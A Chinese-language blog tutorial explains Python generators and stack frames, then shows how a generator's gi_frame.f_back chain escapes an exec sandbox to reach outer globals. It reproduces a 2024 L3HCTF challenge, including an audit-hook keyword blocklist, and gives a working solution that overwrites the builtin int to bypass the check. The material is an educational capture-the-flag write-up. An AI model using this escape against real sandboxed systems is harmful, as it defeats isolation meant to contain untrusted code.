python棧幀沙箱逃逸

高人于斯發表於2024-06-11

python棧幀沙箱逃逸

一、生成器

生成器(Generator)是 Python 中一種特殊的迭代器,它可以透過簡單的函式和表示式來建立。生成器的主要特點是能夠逐個產生值,並且在每次生成值後保留當前的狀態,以便下次呼叫時可以繼續生成值。這使得生成器非常適合處理大型資料集或需要延遲計算的情況。

在 Python 中,生成器可以透過兩種方式建立:

1、生成器函式:定義一個函式,使用 yield 關鍵字生成值,每次呼叫生成器函式時,生成器會暫停並返回一個值,下次呼叫時會從暫停的地方繼續執行。(符合上面的每次生成值後保留當前的狀態,以便下次呼叫時可以繼續生成值)。

示例:

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()
print(next(gen)) # 第一次呼叫,輸出 1
print(next(gen)) # 第二次呼叫,輸出 2
print(next(gen)) # 第三次呼叫,輸出 3

2、生成器表示式:使用類似列表推導式的語法,但使用圓括號而不是方括號,可以用來建立生成器物件。生成器表示式會逐個生成值,而不是一次性生成整個序列,這樣可以節省記憶體空間,特別是在處理大型資料集時非常有用(依然符合每次生成值後保留當前的狀態,以便下次呼叫時可以繼續生成值)。

示例:

gen = (x * x for x in range(5))
print(list(gen))  # 輸出 [0, 1, 4, 9, 16]

二、棧幀(frame)

在 Python 中,棧幀(stack frame),也稱為幀(frame),是用於執行程式碼的資料結構。每當 Python 直譯器執行一個函式或方法時,都會建立一個新的棧幀,用於儲存該函式或方法的區域性變數、引數、返回地址以及其他執行相關的資訊。這些棧幀會按照呼叫順序被組織成一個棧,稱為呼叫棧。

棧幀包含了以下幾個重要的屬性:
f_locals: 一個字典,包含了函式或方法的區域性變數。鍵是變數名,值是變數的值。
f_globals: 一個字典,包含了函式或方法所在模組的全域性變數。鍵是全域性變數名,值是變數的值。
f_code: 一個程式碼物件(code object),包含了函式或方法的位元組碼指令、常量、變數名等資訊。
f_lasti: 整數,表示最後執行的位元組碼指令的索引。
f_back: 指向上一級呼叫棧幀的引用,用於構建呼叫棧。

三、生成器的屬性

gi_code: 生成器對應的code物件。
gi_frame: 生成器對應的frame(棧幀)物件。
gi_running: 生成器函式是否在執行。生成器函式在yield以後、執行yield的下一行程式碼前處於frozen狀態,此時這個屬性的值為0。
gi_yieldfrom:如果生成器正在從另一個生成器中 yield 值,則為該生成器物件的引用;否則為 None。
gi_frame.f_locals:一個字典,包含生成器當前幀的本地變數。

著重介紹一下 gi_frame 屬性
gi_frame 是一個與生成器(generator)和協程(coroutine)相關的屬性。它指向生成器或協程當前執行的幀物件(frame object),如果這個生成器或協程正在執行的話。幀物件表示程式碼執行的當前上下文,包含了區域性變數、執行的位元組碼指令等資訊。

例子:

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 獲取生成器的當前幀資訊
frame = gen.gi_frame

# 輸出生成器的當前幀資訊
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

同理利用gi_code屬性也可以獲得生成器的相關程式碼物件屬性:

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 獲取生成器的當前程式碼資訊
code = gen.gi_code

# 輸出生成器的當前程式碼資訊
print( code.co_name)
print(code.co_code)
print( code.co_consts)
print(code.co_filename)

四、利用棧幀沙箱逃逸

原理就是透過生成器的棧幀物件透過f_back(返回前一幀)從而逃逸出去獲取globals全域性符號表
一個簡單的例子:

s3cret="this is flag"

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #獲取到生成器的棧幀物件
    b = frame.f_globals['s3cret'] #返回並獲取前一級棧幀的globals
    print(b)
b=waff()

或者:

s3cret="this is flag"

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #獲取到生成器的棧幀物件
    b = frame.f_back.f_globals['s3cret'] #返回並獲取前一級棧幀的globals
    print(b)
b=waff()

為什麼都行呢,可以把frame這個棧幀物件列印看看:

分別是:

<frame at 0x0000020F97255040, file 'D:\\yinwenmingtwo\\PythonCode\\測試\\1.py', line 9, code waff>
<frame at 0x00000176546465B0, file 'D:\\yinwenmingtwo\\PythonCode\\測試\\1.py', line 13, code <module>>

在看看上面的f_globals: 一個字典,包含了函式或方法所在模組的全域性變數。鍵是全域性變數名,值是變數的值。

不難看出這裡函式和模組本就同在一個全域性,所以都有屬性s3cret,怎麼看到沒到全域性?直接看file就能看出。

在給個例子:

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #獲取到生成器的棧幀物件
    print(frame)
    print(frame.f_back)
    print(frame.f_back.f_back)
    b = frame.f_back.f_back.f_globals['s3cret'] #返回並獲取前一級棧幀的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

執行結果:

QQ截圖20240611190601

這個其實得從下向上看,最先的幀是exec,然後是b=,最後是8line那裡的程式碼。一步一步回到全域性變數

五、簡單繞過

next過濾可以用listsend,和生成器表示式進行繞過,

yield過濾也可以用生成器表示式進行繞過

六、例題

2024L3HCTF

import sys
import os

codes='''
<<codehere>>
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)

if "__" in codes:
    print("__ bypass!!")
    exit(0)

codes+="\nres=factorization(c)"
print(codes)
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print("noooooooooo")
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
print(locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("Correct!",end="")
else:
    print("Wrong!",end="")

就是可以執行一些命令,滿足下面的if條件就行。

做了一些過濾,過濾掉了雙下劃線,{"__builtins__": None} 置空了__builtins__

這裡的if條件是:首先p和q都得大於100000,其次就是p和q的積為int("69...97863")

按照題目要求,如果透過演算法在要求的5秒實現基本上是不可能的,但是我們可以透過沙箱外的globals的__builtins__欄位去修改int函式,實現繞過if語句,這道題的解題思路就是透過棧幀物件逃逸出沙箱從而獲取到沙箱外的globals。

由於這裡的{"__builtins__": None} 置空了__builtins__,那麼就無法使用next()和send()了。但還可以使用生成器的表示式,為什麼必須用生成器,主要還是因為它的屬性gi_frame可以獲得當前棧幀物件,當然sys._getframe()等也可以獲得棧幀物件,不過需要引入sys模組。

用生成器的表示式獲得棧幀物件

a=(a.gi_frame.f_back.f_back for i in [1])
print(a)
a=[x for x in a][0]
print(a)

簡單解釋一下:看來上面的生成器表示式這裡其實就是,先執行i=1,然後執行a.gi_frame.f_back.f_back,這裡並沒有用到生成器的特性,只是單純利用生成器來獲得棧幀屬性。

a=[x for x in a][0]等價於next(a)list(a),就是迭代執行嘛。至於兩個f_back是從下依次向上返回。

<frame at 0x000001C18B6BA130, file 'D:\\yinwenmingtwo\\PythonCode\\測試\\22.py', line 4, code <module>>
<frame at 0x0000027CB3830580, file 'D:\\yinwenmingtwo\\PythonCode\\測試\\22.py', line 3, code <listcomp>>
<frame at 0x000001BDF5F45040, file 'D:\\yinwenmingtwo\\PythonCode\\測試\\22.py', line 1, code <genexpr>>

理解到沙箱逃逸全域性了後面就沒什麼了。

def fake_int(i):
    return 100001 * 100002
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
builtin =a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
builtin.int=fake_int

這裡就是重寫了int方法來滿足if條件。

參考:

https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DL5pQzt8q4D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7

https://fupanc.github.io/2024/06/06/python棧幀逃逸/#繞過方法

相關文章